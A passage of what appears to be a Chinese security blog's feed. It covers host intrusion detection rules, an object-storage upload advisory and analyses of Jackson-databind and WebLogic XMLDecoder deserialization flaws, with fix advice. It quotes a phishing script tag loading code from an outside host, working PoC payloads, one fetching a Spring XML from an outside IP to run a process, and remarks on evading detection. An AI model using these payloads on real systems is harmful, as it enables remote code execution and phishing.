class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acadea05e2ba50ef1a55886&quot;), &quot;count&quot; : 18, &quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:35:53.232Z&quot;), &quot;type&quot; : &quot;startup&quot;, &quot;info&quot; : &quot;AnyDesk&quot; &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acae2665e2ba50ef107caa7&quot;), &quot;type&quot; : &quot;service&quot;, &quot;info&quot; : &quot;hidserv&quot;, &quot;count&quot; : 114, &quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-13T11:41:20.587Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acae2665e2ba50ef107cbe7&quot;), &quot;type&quot; : &quot;service&quot;, &quot;info&quot; : &quot;SQLBrowser&quot;, &quot;count&quot; : 114, &quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-13T11:41:20.587Z&quot;) &#125;</span><br></pre></td></tr></table></figure><h2 id="六、入侵检测功能点和维度"><a href="#六、入侵检测功能点和维度" class="headerlink" title="六、入侵检测功能点和维度"></a>六、入侵检测功能点和维度</h2><blockquote><p>[server]-&gt;ScanMonitorThread(安全检测线程)-&gt;Run(开始检测)-&gt;BlackFilter(黑名单)-&gt;WhiteFilter(白名单)-&gt;Rules(规则引擎)-&gt;Intelligence(威胁情报)</p></blockquote><h3 id="1-webshell写入行为"><a href="#1-webshell写入行为" class="headerlink" title="1. webshell写入行为"></a>1. webshell写入行为</h3><p>Linux目前支持Apache和nginx的目录自动监控：</p><p>apachectl -V</p><p>nginx -V</p><p>Windows目前支持IIS6和IIS7：</p><p>先在初始化时获取进程列表存库，如果获取到web进程，并web标签入库，则收集web目录，并进行监控：</p><p>x32<br>iis6配置文件:%SystemDrive%\WINDOWS\SysNative\inetsrv\MetaBase.xml<br>iis7配置文件:%SystemDrive%\Windows\SysNative\inetsrv\config\applicationHost.config</p><p> x64<br>iis6配置文件:%SystemDrive%\WINDOWS\System32\inetsrv\MetaBase.xml<br>iis7配置文件:%SystemDrive%\Windows\System32\inetsrv\config\applicationHost.config</p><h4 id="识别模式："><a href="#识别模式：" class="headerlink" title="识别模式："></a>识别模式：</h4><p>1）文件监控，通过监控文件WRITE行为，正则匹配文件的后缀类型为黑名单中的后缀进行匹配。bypass 中文.aspx<br>2）进程监控，父进程是web服务，执行子进程是黑名单进程中的进程名字或命令。</p><h3 id="2-异常登录、网络连接行为"><a href="#2-异常登录、网络连接行为" class="headerlink" title="2.异常登录、网络连接行为"></a>2.异常登录、网络连接行为</h3><p>统计第n次出现的登录ip、登录用户名告警，原则上MongoDB的statistics表里loginlog（登录的ip）、userlist（登录的用户）、listening（ip监听端口）、crontab（计划任务）、process（进程名字）、startup（启动项名字）、service（服务名字）都存在count字段，都可以通过自定义规则进行告警。</p><h4 id="识别模式：-1"><a href="#识别模式：-1" class="headerlink" title="识别模式："></a>识别模式：</h4><p>1）进程监控</p><p>2）文件监控，登录日志windows<a href="https://mp.weixin.qq.com/s/rHDJ2tQWEaZLikMt5bgCsw" target="_blank">《驭龙 EventLog 读取模块的迭代历程》</a>，Linux 登录成功（解析/var/log/wtmp）、登录失败lastb命令；</p><p>3）网络流量</p><h3 id="3-异常命令调用行为"><a href="#3-异常命令调用行为" class="headerlink" title="3.异常命令调用行为"></a>3.异常命令调用行为</h3><p><a href="http://www.cnblogs.com/LittleHann/p/3854977.html" target="_blank">《Linux System Calls Hooking Method Summary》</a>、<a href="https://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247483854&idx=2&sn=815883b02ab0000956959f78c3f31e2b&scene=21#wechat_redirect" target="_blank">《如何在Linux下监控命令执行》</a>、<a href="https://mp.weixin.qq.com/s/ntE5FNM8UaXQFC5l4iKUUw" target="_blank">《「驭龙」Linux执行命令监控驱动实现解析》</a></p><p>在驭龙hids官方git上的演示sql注入和命令执行，实际上跟我们平时理解的waf有所区别，没有对web请求进行监控。而是通过规则定义了sqlsrver.exe启动子进程为cmd.exe的调用关系，而在sqlserver上通过xp_cmdshell执行命令就是通过cmd间接执行其他命令的。</p><p><img src="/2018/04/20/yulong-hids/360-cmd.png" alt="360主动拦截"></p><p><img src="/2018/04/20/yulong-hids/process-call.jpeg" alt="进程调用"></p><p>在3gstudent和evi1cg.me的博客上有关于win下文件下载、命令执行和sqlserver执行命令的一些姿势，如果理清楚进程的调用关系，相信你一定可以绕过某些安全软件的动作拦截，包括msf的payload去开shell等。</p><h4 id="识别模式：-2"><a href="#识别模式：-2" class="headerlink" title="识别模式："></a>识别模式：</h4><p>1）进程监控，通过规则定义进程调用关系进行告警</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>没有小结~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;一、进程实时监控&quot;&gt;&lt;a href=&quot;#一、进程实时监控&quot; class=&quot;headerlink&quot; title=&quot;一、进程实时监控&quot;&gt;&lt;/a&gt;一、进程实时监控&lt;/h2&gt;&lt;p&gt;通过hook技术在windows和Linux操作系统的ring0级别进行监控进程和命令执行。
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="渗透测试" scheme="http://pirogue.org/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
      <category term="hids" scheme="http://pirogue.org/tags/hids/"/>
    
      <category term="驭龙hids" scheme="http://pirogue.org/tags/%E9%A9%AD%E9%BE%99hids/"/>
    
      <category term="安全开发" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>OSS对象存储上传解析漏洞预警</title>
    <link href="http://pirogue.org/2018/02/27/oss_upload_vul/"/>
    <id>http://pirogue.org/2018/02/27/oss_upload_vul/</id>
    <published>2018-02-27T15:30:26.000Z</published>
    <updated>2018-02-28T16:46:55.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="事件背景"><a href="#事件背景" class="headerlink" title="事件背景"></a>事件背景</h1><p>安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面，被黑产人员用作钓鱼攻击。</p><h1 id="攻击案例"><a href="#攻击案例" class="headerlink" title="攻击案例"></a>攻击案例</h1><p>酷狗钓鱼链接：<br><code>http://userphoto.bssdl.kugou.com/70296bbe6e02223af1cfb952b2eefcb3.jpg#1519721124069</code></p><p><img src="/2018/02/27/oss_upload_vul/kugou_phishing.png" alt="酷狗钓鱼攻击"><br><img src="/2018/02/27/oss_upload_vul/kugou_phishing_2.png" alt="酷狗钓鱼攻击js"><br>实际上攻击者上传了一个内容为<code>&lt;scriptsrc=//55555.gz.bcebos.com/mjk.js?111&gt;&lt;/script&gt;</code>的后缀为jpg的文件，当用户打开原本是图片的网址，会被浏览器渲染成js最终的展示效果，包括一些列的鼠标事件和跳转。</p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>网易对象存储中提到<strong>“文件的 MIME，定义文件的类型及网页编码，决定浏览器将以什么形式、什么编码读取文件。如果用户没有指定则根据 Key 或文件名的扩展名生成，如果没有扩展名则填默认值”</strong></p><p><img src="/2018/02/27/oss_upload_vul/163_oss.png" alt="163_oss"></p><p>以163站点为例<a href="http://new.hi.163.com/#/setting/step1" target="_blank" rel="noopener">http://new.hi.163.com/#/setting/step1</a> ，163新闻讨论站点上传头像地址。</p><p>攻击步骤：</p><p>0x01:</p><p>无论我们上传什么类型后缀的文件，只要截获上传数据包，将content-type类型修改为“text/html”：</p><p><img src="/2018/02/27/oss_upload_vul/upload_vul_1.png" alt="oss_upload_vul"></p><p>0x02:</p><p>打开上传后的文件地址：<a href="http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892" target="_blank" rel="noopener">http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892</a></p><p><img src="/2018/02/27/oss_upload_vul/upload_vul_2.png" alt="oss_upload_vul"></p><p>发现content-type为我们上传时设置的text/html，发现原本的图片，已经把内容当做html进行渲染。</p><p>攻击者可通过自定义上传content-type类型，进行xss或者钓鱼攻击。</p><h1 id="修复方案"><a href="#修复方案" class="headerlink" title="修复方案"></a>修复方案</h1><p>业务研发方：在使用对象存储时，根据业务需要在服务端先校验文件后缀类型，再校验Content-Type是否属与此后缀类型相匹配；<br>云储存方：文件后缀类型与文件MIME强关联，一一对应，例如禁止jpeg后缀的文件MIME变成text/html。</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>&nbsp;&nbsp;&nbsp;&nbsp;在几个月前我就在博客中有写到一篇<a href="http://pirogue.org/2017/09/29/aliyunoss/">《阿里云OSS约等于文件上传漏洞？》</a>的文章，其中就提到了任意文件上传导致xss漏洞，当时只是发现了现象，并没有对oss云存储的形成漏洞的原因进一步测试总结。<br>&nbsp;&nbsp;&nbsp;&nbsp;现在来看除了用户使用上要严格校验上传文件类型外，OSS文件存储是否也应该在设计上避免“因用户默认不在后端校验文件MIME类型”导致的安全隐患呢？</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;事件背景&quot;&gt;&lt;a href=&quot;#事件背景&quot; class=&quot;headerlink&quot; title=&quot;事件背景&quot;&gt;&lt;/a&gt;事件背景&lt;/h1&gt;&lt;p&gt;安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面，被黑产人员用作钓鱼攻击。&lt;/p&gt;
&lt;
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="OSS对象存储" scheme="http://pirogue.org/tags/OSS%E5%AF%B9%E8%B1%A1%E5%AD%98%E5%82%A8/"/>
    
      <category term="上传漏洞" scheme="http://pirogue.org/tags/%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="解析漏洞" scheme="http://pirogue.org/tags/%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="漏洞预警" scheme="http://pirogue.org/tags/%E6%BC%8F%E6%B4%9E%E9%A2%84%E8%AD%A6/"/>
    
  </entry>
  
  <entry>
    <title>Jackson反序列化远程代码执行漏洞</title>
    <link href="http://pirogue.org/2018/01/12/jackson-databind-rce/"/>
    <id>http://pirogue.org/2018/01/12/jackson-databind-rce/</id>
    <published>2018-01-12T15:57:20.000Z</published>
    <updated>2018-01-12T16:17:37.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Jackson漏洞历史-CVE-2017-7525"><a href="#Jackson漏洞历史-CVE-2017-7525" class="headerlink" title="Jackson漏洞历史(CVE-2017-7525)"></a>Jackson漏洞历史(CVE-2017-7525)</h2><p>北京时间2017年4月15日，Jackson框架被发现存在一个<font color="#DC143C">反序列化代码执行漏洞</font>。该漏洞存在于Jackson框架下的<font color="#DC143C">enableDefaultTyping</font>方法，通过该漏洞，攻击者可以远程在服务器主机上越权执行任意代码，从而取得该网站服务器的控制权。</p><p>Jackson是一个开源的Java序列化与反序列化工具，可以将java对象序列化为xml或json格式的字符串，或者反序列化回对应的对象，由于其使用简单，速度较快，且不依靠除JDK外的其他库，被众多用户所使用。</p><p>关于历史漏洞的分析可以参考，绿盟科技在17年发表的技术分析文章：<a href="http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/" target="_blank" rel="noopener">http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/</a></p><h3 id="漏洞触发链"><a href="#漏洞触发链" class="headerlink" title="漏洞触发链"></a>漏洞触发链</h3><p>getOutputProperties()-&gt;newTransFormer()→newInstance()</p><h3 id="构造方式"><a href="#构造方式" class="headerlink" title="构造方式"></a>构造方式</h3><p>通过java生态中的<font color="#DC143C">第三方库存在的序列化方法</font>构造序列化恶意攻击代码，并将恶意代码base64编码后拼接到一个精心构造的json数据包中，代码层如果在使用ObjectMapper对象实例时<br>（ObjectMapper mapper = new ObjectMapper();）开启了<font color="#DC143C">enableDefaultType</font>特性（例如mapper.enableDefaultTyping();），会在readValue时对传入的JSON自动调用第三方库的反序列化方法，造成代码执行。</p><h3 id="官方修复方式"><a href="#官方修复方式" class="headerlink" title="官方修复方式"></a>官方修复方式</h3><p>官方在漏洞产生后，通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。</p><p>黑名单如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">org.apache.commons.collections.functors.InvokerTransformer</span><br><span class="line">org.apache.commons.collections.functors.InstantiateTransformer</span><br><span class="line">org.apache.commons.collections4.functors.InvokerTransformer</span><br><span class="line">org.apache.commons.collections4.functors.InstantiateTransformer</span><br><span class="line">org.codehaus.groovy.runtime.ConvertedClosure</span><br><span class="line">org.codehaus.groovy.runtime.MethodClosure</span><br><span class="line">org.springframework.beans.factory.ObjectFactory</span><br><span class="line">com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</span><br></pre></td></tr></table></figure><h2 id="新漏洞的产生-CVE-2017-17485"><a href="#新漏洞的产生-CVE-2017-17485" class="headerlink" title="新漏洞的产生(CVE-2017-17485)"></a>新漏洞的产生(CVE-2017-17485)</h2><p>众所周知黑名单是一种不可靠的修复方式，攻击者常常可以通过一些手段绕过黑名单，造成漏洞影响。</p><p>安全研究人员发现，在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。</p><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><p>关于Jackson-databind漏洞所有的poc验证代码：<a href="https://github.com/shengqi158/Jackson-databind-RCE-PoC" target="_blank" rel="noopener">https://github.com/shengqi158/Jackson-databind-RCE-PoC</a> Code by 廖新喜</p><p>其中CVE-2017-17485的验证代码：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> jackson;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Array;</span><br><span class="line"> </span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Created by liaoxinxi on 2017-12-11.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TestJdbcRowSetImplPoc</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span></span>&#123;</span><br><span class="line">        testSpringFramework();</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">testSpringFramework</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="comment">//CVE-2017-17485</span></span><br><span class="line">        <span class="comment">// 假设这是攻击者可以控制的请求包payload</span></span><br><span class="line">        String payload = <span class="string">"[\"org.springframework.context.support.ClassPathXmlApplicationContext\", "</span> +</span><br><span class="line">                <span class="string">"\"http://188.51.32.233/spel.xml\"]\n"</span>;</span><br><span class="line">        ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line">        mapper.enableDefaultTyping();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            mapper.readValue(payload, Object.class);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p><strong><em>spel.xml文件内容：</em></strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;beans xmlns=&quot;http://www.springframework.org/schema/beans&quot;</span><br><span class="line">  xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">  xsi:schemaLocation=&quot;</span><br><span class="line">     http://www.springframework.org/schema/beans</span><br><span class="line">     http://www.springframework.org/schema/beans/spring-beans.xsd</span><br><span class="line">&quot;&gt;</span><br><span class="line">  &lt;bean id=&quot;pb&quot; class=&quot;java.lang.ProcessBuilder&quot;&gt;</span><br><span class="line">     &lt;constructor-arg value=&quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot; /&gt;</span><br><span class="line">     &lt;property name=&quot;whatever&quot; value=&quot;#&#123; pb.start() &#125;&quot;/&gt;</span><br><span class="line">  &lt;/bean&gt;</span><br><span class="line">&lt;/beans&gt;</span><br></pre></td></tr></table></figure><p><strong><em>造成代码执行：</em></strong></p><p><img src="/2018/01/12/jackson-databind-rce/jackson-databind-rce.png" alt="jackson-databind-rce"></p><p>官方已经更新黑名单列表，并计划在Jackson的大版本3.X通过api层实现基于白名单的序列化方式来应对多态类：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">org.apache.commons.collections.functors.InvokerTransformer</span><br><span class="line">org.apache.commons.collections.functors.InstantiateTransformer</span><br><span class="line">org.apache.commons.collections4.functors.InvokerTransformer</span><br><span class="line">org.apache.commons.collections4.functors.InstantiateTransformer</span><br><span class="line">org.codehaus.groovy.runtime.ConvertedClosure</span><br><span class="line">org.codehaus.groovy.runtime.MethodClosure</span><br><span class="line">org.springframework.beans.factory.ObjectFactory</span><br><span class="line">com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</span><br><span class="line">org.apache.xalan.xsltc.trax.TemplatesImpl</span><br><span class="line">com.sun.rowset.JdbcRowSetImpl</span><br><span class="line">java.util.logging.FileHandler</span><br><span class="line">java.rmi.server.UnicastRemoteObject</span><br><span class="line">org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor</span><br><span class="line">org.springframework.beans.factory.config.PropertyPathFactoryBean</span><br><span class="line">com.mchange.v2.c3p0.JndiRefForwardingDataSource</span><br><span class="line">com.mchange.v2.c3p0.WrapperConnectionPoolDataSource</span><br></pre></td></tr></table></figure><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><ul><li>升级到最新版本jackson-databind 2.7.9.2，2.8.11，2.9.3.1（2018-01-13 00:04:20该版本还未发布）</li><li>禁用enableDefaultTyping()方法；</li><li>对客户端传入的JSON数据，进行过滤或者类型检查。</li></ul><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/" target="_blank" rel="noopener">http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/</a><br><a href="https://github.com/shengqi158/Jackson-databind-RCE-PoC" target="_blank" rel="noopener">https://github.com/shengqi158/Jackson-databind-RCE-PoC</a><br><a href="https://mp.weixin.qq.com/s/FOOC9EmNqGE9YB5OAu4mEA" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/FOOC9EmNqGE9YB5OAu4mEA</a><br><a href="https://github.com/FasterXML/jackson-databind/releases" target="_blank" rel="noopener">https://github.com/FasterXML/jackson-databind/releases</a><br><a href="https://www.securityfocus.com/archive/1/archive/1/541652/100/0/threaded" target="_blank" rel="noopener">https://www.securityfocus.com/archive/1/archive/1/541652/100/0/threaded</a><br><a href="https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/" target="_blank" rel="noopener">https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/</a><br><a href="https://www.secfree.com/article-676.html" target="_blank" rel="noopener">https://www.secfree.com/article-676.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;Jackson漏洞历史-CVE-2017-7525&quot;&gt;&lt;a href=&quot;#Jackson漏洞历史-CVE-2017-7525&quot; class=&quot;headerlink&quot; title=&quot;Jackson漏洞历史(CVE-2017-7525)&quot;&gt;&lt;/a&gt;Jackson漏洞历
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="CVE-2017-7525" scheme="http://pirogue.org/tags/CVE-2017-7525/"/>
    
      <category term="CVE-2017-17485" scheme="http://pirogue.org/tags/CVE-2017-17485/"/>
    
      <category term="Jackson-databind反序列化漏洞" scheme="http://pirogue.org/tags/Jackson-databind%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="安全分析" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>weblogic XMLDecoder反序列化漏洞-CVE-2017-10271</title>
    <link href="http://pirogue.org/2017/12/29/weblogic-XMLDecoder/"/>
    <id>http://pirogue.org/2017/12/29/weblogic-XMLDecoder/</id>
    <published>2017-12-29T09:43:22.000Z</published>
    <updated>2018-01-03T07:09:04.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="XMLDecoder反序列化漏洞"><a href="#XMLDecoder反序列化漏洞" class="headerlink" title="XMLDecoder反序列化漏洞"></a>XMLDecoder反序列化漏洞</h2><p>老外的详细利用文章：<a href="http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html" target="_blank" rel="noopener">http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html</a><br>国内的demo:<a href="http://blog.51cto.com/duallay/1961598" target="_blank" rel="noopener">http://blog.51cto.com/duallay/1961598</a></p><p>poc xml文件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;java version=&quot;1.8.0_131&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;</span><br><span class="line">    &lt;object class=&quot;java.lang.ProcessBuilder&quot;&gt;</span><br><span class="line">        &lt;array class=&quot;java.lang.String&quot; length=&quot;1&quot;&gt;</span><br><span class="line">            &lt;void index=&quot;0&quot;&gt;</span><br><span class="line">                &lt;string&gt;/Applications/Calculator.app/Contents/MacOS/Calculator&lt;/string&gt;</span><br><span class="line">            &lt;/void&gt;</span><br><span class="line">        &lt;/array&gt;</span><br><span class="line">        &lt;void method=&quot;start&quot; /&gt;</span><br><span class="line">    &lt;/object&gt;</span><br><span class="line">&lt;/java&gt;</span><br></pre></td></tr></table></figure><p>读取xml文件，进行反序列化执行命令代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">xmlrce</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">        <span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line">        java.io.File file = <span class="keyword">new</span> java.io.File(<span class="string">"/Users/pirogue/IdeaProjects/weblogic/src/poc.xml"</span>);</span><br><span class="line"></span><br><span class="line">        java.beans.XMLDecoder xd = <span class="keyword">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            xd = <span class="keyword">new</span> java.beans.XMLDecoder(<span class="keyword">new</span> BufferedInputStream(<span class="keyword">new</span> FileInputStream(file)));</span><br><span class="line">        &#125; <span class="keyword">catch</span> (FileNotFoundException e) &#123;</span><br><span class="line">            <span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        Object s2 = xd.readObject();</span><br><span class="line">        xd.close();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/29/weblogic-XMLDecoder/xmldecoder-rce.png" alt="xmldecoder-rce"></p><h2 id="CVE-2017-10271-weblogic反序列化漏洞"><a href="#CVE-2017-10271-weblogic反序列化漏洞" class="headerlink" title="CVE-2017-10271 weblogic反序列化漏洞"></a>CVE-2017-10271 weblogic反序列化漏洞</h2><h3 id="WLSServletAdapter-class"><a href="#WLSServletAdapter-class" class="headerlink" title="WLSServletAdapter.class"></a>WLSServletAdapter.class</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">handle</span><span class="params">(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (var2.getMethod().equals(<span class="string">"GET"</span>) || var2.getMethod().equals(<span class="string">"HEAD"</span>)) &#123;</span><br><span class="line">        HttpMetadataPublisher var4 = (HttpMetadataPublisher)<span class="keyword">this</span>.endpoint.getSPI(HttpMetadataPublisher.class);</span><br><span class="line">        <span class="keyword">if</span> (var4 != <span class="keyword">null</span> &amp;&amp; var4.handleMetadataRequest(<span class="keyword">this</span>, <span class="keyword">this</span>.createConnection(var1, var2, var3))) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">this</span>.isOraWsdlMetadataQuery(var2.getQueryString())) &#123;</span><br><span class="line">            <span class="keyword">this</span>.publishWSDL(<span class="keyword">this</span>.createConnection(var1, var2, var3));</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">super</span>.handle(var1, var2, var3);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/29/weblogic-XMLDecoder/WLSServletAdapter.png" alt="WLSServletAdapter"></p><p>当开启调试模式，<img src="/2017/12/29/weblogic-XMLDecoder/ping.png" alt="ping">时，WLSServletAdapter对请求进行接收处理，执行到<code>super.handle(var1, var2, var3);</code>后，跟进关键代码如下：</p><h3 id="WorkContentServerTube-class"><a href="#WorkContentServerTube-class" class="headerlink" 